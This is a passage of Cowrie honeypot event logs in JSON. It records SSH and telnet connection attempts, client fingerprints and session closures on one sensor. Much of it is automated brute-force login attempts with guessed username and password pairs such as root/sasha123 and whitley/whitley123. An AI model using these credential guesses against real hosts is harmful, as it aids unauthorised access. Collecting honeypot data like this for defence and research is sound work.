{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:26:35.085614Z","src_ip":"109.237.96.109","session":"d19cff51a822","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sasha123","message":"login attempt [root/sasha123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:26:35.486240Z","src_ip":"109.237.96.109","session":"d19cff51a822","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:26:36.584509Z","src_ip":"109.237.96.109","session":"d19cff51a822","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54618,"dst_ip":"10.17.0.5","dst_port":23,"session":"10ab48574a31","protocol":"telnet","message":"New connection: 152.42.224.71:54618 (10.17.0.5:23) [session: 10ab48574a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:26:46.250256Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":57012,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a2ab24799cb","protocol":"ssh","message":"New connection: 103.122.221.179:57012 (159.203.135.109:22) [session: 1a2ab24799cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:26:52.732893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:26:52.737784Z","src_ip":"103.122.221.179","session":"1a2ab24799cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:26:52.994156Z","src_ip":"103.122.221.179","session":"1a2ab24799cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58878,"dst_ip":"10.17.0.5","dst_port":23,"session":"a28630ac5e82","protocol":"telnet","message":"New connection: 152.42.224.71:58878 (10.17.0.5:23) [session: a28630ac5e82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:26:53.652099Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1975","message":"login attempt [root/1975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:26:53.755497Z","src_ip":"103.122.221.179","session":"1a2ab24799cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:26:55.016498Z","src_ip":"103.122.221.179","session":"1a2ab24799cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57510,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4d576b75a2b","protocol":"telnet","message":"New connection: 152.42.224.71:57510 (10.17.0.5:23) [session: a4d576b75a2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:03.460514Z"}
{"eventid":"cowrie.session.closed","duration":41.46493649482727,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:03.876383Z","src_ip":"152.42.224.71","session":"fad813a308a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":53252,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b797f6995a8","protocol":"ssh","message":"New connection: 194.113.233.25:53252 (159.203.135.109:22) [session: 1b797f6995a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:05.759926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:05.764564Z","src_ip":"194.113.233.25","session":"1b797f6995a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:05.858083Z","src_ip":"194.113.233.25","session":"1b797f6995a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"drowssap","message":"login attempt [root/drowssap] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:06.170366Z","src_ip":"194.113.233.25","session":"1b797f6995a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55064,"dst_ip":"10.17.0.5","dst_port":23,"session":"88f74251ab93","protocol":"telnet","message":"New connection: 152.42.224.71:55064 (10.17.0.5:23) [session: 88f74251ab93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:06.644799Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:07.268944Z","src_ip":"194.113.233.25","session":"1b797f6995a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":40894,"dst_ip":"10.17.0.5","dst_port":22,"session":"20d8c08ebc47","protocol":"ssh","message":"New connection: 45.148.10.121:40894 (10.17.0.5:22) [session: 20d8c08ebc47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:14.751666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:14.759207Z","src_ip":"45.148.10.121","session":"20d8c08ebc47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:14.854599Z","src_ip":"45.148.10.121","session":"20d8c08ebc47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.599557876586914,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:22.849680Z","src_ip":"152.42.224.71","session":"10ab48574a31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":47896,"dst_ip":"159.203.135.109","dst_port":22,"session":"43a9c700a3d1","protocol":"ssh","message":"New connection: 2.57.121.112:47896 (159.203.135.109:22) [session: 43a9c700a3d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:24.863818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:24.869611Z","src_ip":"2.57.121.112","session":"43a9c700a3d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:24.971598Z","src_ip":"2.57.121.112","session":"43a9c700a3d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"911911911","message":"login attempt [admin/911911911] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:25.444614Z","src_ip":"2.57.121.112","session":"43a9c700a3d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"8letters","message":"login attempt [admin/8letters] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:26.548710Z","src_ip":"2.57.121.112","session":"43a9c700a3d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":9590,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf20cdc501d3","protocol":"ssh","message":"New connection: 2.57.121.25:9590 (159.203.135.109:22) [session: cf20cdc501d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:26.816319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:26.822624Z","src_ip":"2.57.121.25","session":"cf20cdc501d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:26.928848Z","src_ip":"2.57.121.25","session":"cf20cdc501d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"20051977","message":"login attempt [user/20051977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:27.401863Z","src_ip":"2.57.121.25","session":"cf20cdc501d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"87654","message":"login attempt [admin/87654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:27.652285Z","src_ip":"2.57.121.112","session":"43a9c700a3d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"200483","message":"login attempt [user/200483] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:28.504134Z","src_ip":"2.57.121.25","session":"cf20cdc501d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"8318131","message":"login attempt [admin/8318131] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:28.756002Z","src_ip":"2.57.121.112","session":"43a9c700a3d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"200184","message":"login attempt [user/200184] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:29.607513Z","src_ip":"2.57.121.25","session":"cf20cdc501d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"7xM5RQ","message":"login attempt [admin/7xM5RQ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:29.858447Z","src_ip":"2.57.121.112","session":"43a9c700a3d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"20011995","message":"login attempt [user/20011995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:30.709934Z","src_ip":"2.57.121.25","session":"cf20cdc501d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:30.964731Z","src_ip":"2.57.121.112","session":"43a9c700a3d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1Shadow","message":"login attempt [user/1Shadow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:31.813937Z","src_ip":"2.57.121.25","session":"cf20cdc501d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:32.917531Z","src_ip":"2.57.121.25","session":"cf20cdc501d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.984447956085205,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:35.629131Z","src_ip":"152.42.224.71","session":"88f74251ab93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":10112,"dst_ip":"159.203.135.109","dst_port":22,"session":"8622634f7cc1","protocol":"ssh","message":"New connection: 213.209.159.56:10112 (159.203.135.109:22) [session: 8622634f7cc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:36.745064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:36.749642Z","src_ip":"213.209.159.56","session":"8622634f7cc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:36.832397Z","src_ip":"213.209.159.56","session":"8622634f7cc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"whitley","password":"whitley","message":"login attempt [whitley/whitley] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:37.231775Z","src_ip":"213.209.159.56","session":"8622634f7cc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"whitley","password":"whitley1","message":"login attempt [whitley/whitley1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:38.319252Z","src_ip":"213.209.159.56","session":"8622634f7cc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"whitley","password":"whitley123","message":"login attempt [whitley/whitley123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:39.408379Z","src_ip":"213.209.159.56","session":"8622634f7cc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"whitley","password":"whitley1234","message":"login attempt [whitley/whitley1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:40.494058Z","src_ip":"213.209.159.56","session":"8622634f7cc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":35754,"dst_ip":"10.17.0.5","dst_port":22,"session":"a74c04d67679","protocol":"ssh","message":"New connection: 193.228.128.84:35754 (10.17.0.5:22) [session: a74c04d67679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:40.619575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:40.624133Z","src_ip":"193.228.128.84","session":"a74c04d67679","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:27:40.726379Z","src_ip":"193.228.128.84","session":"a74c04d67679","protocol":"ssh"}
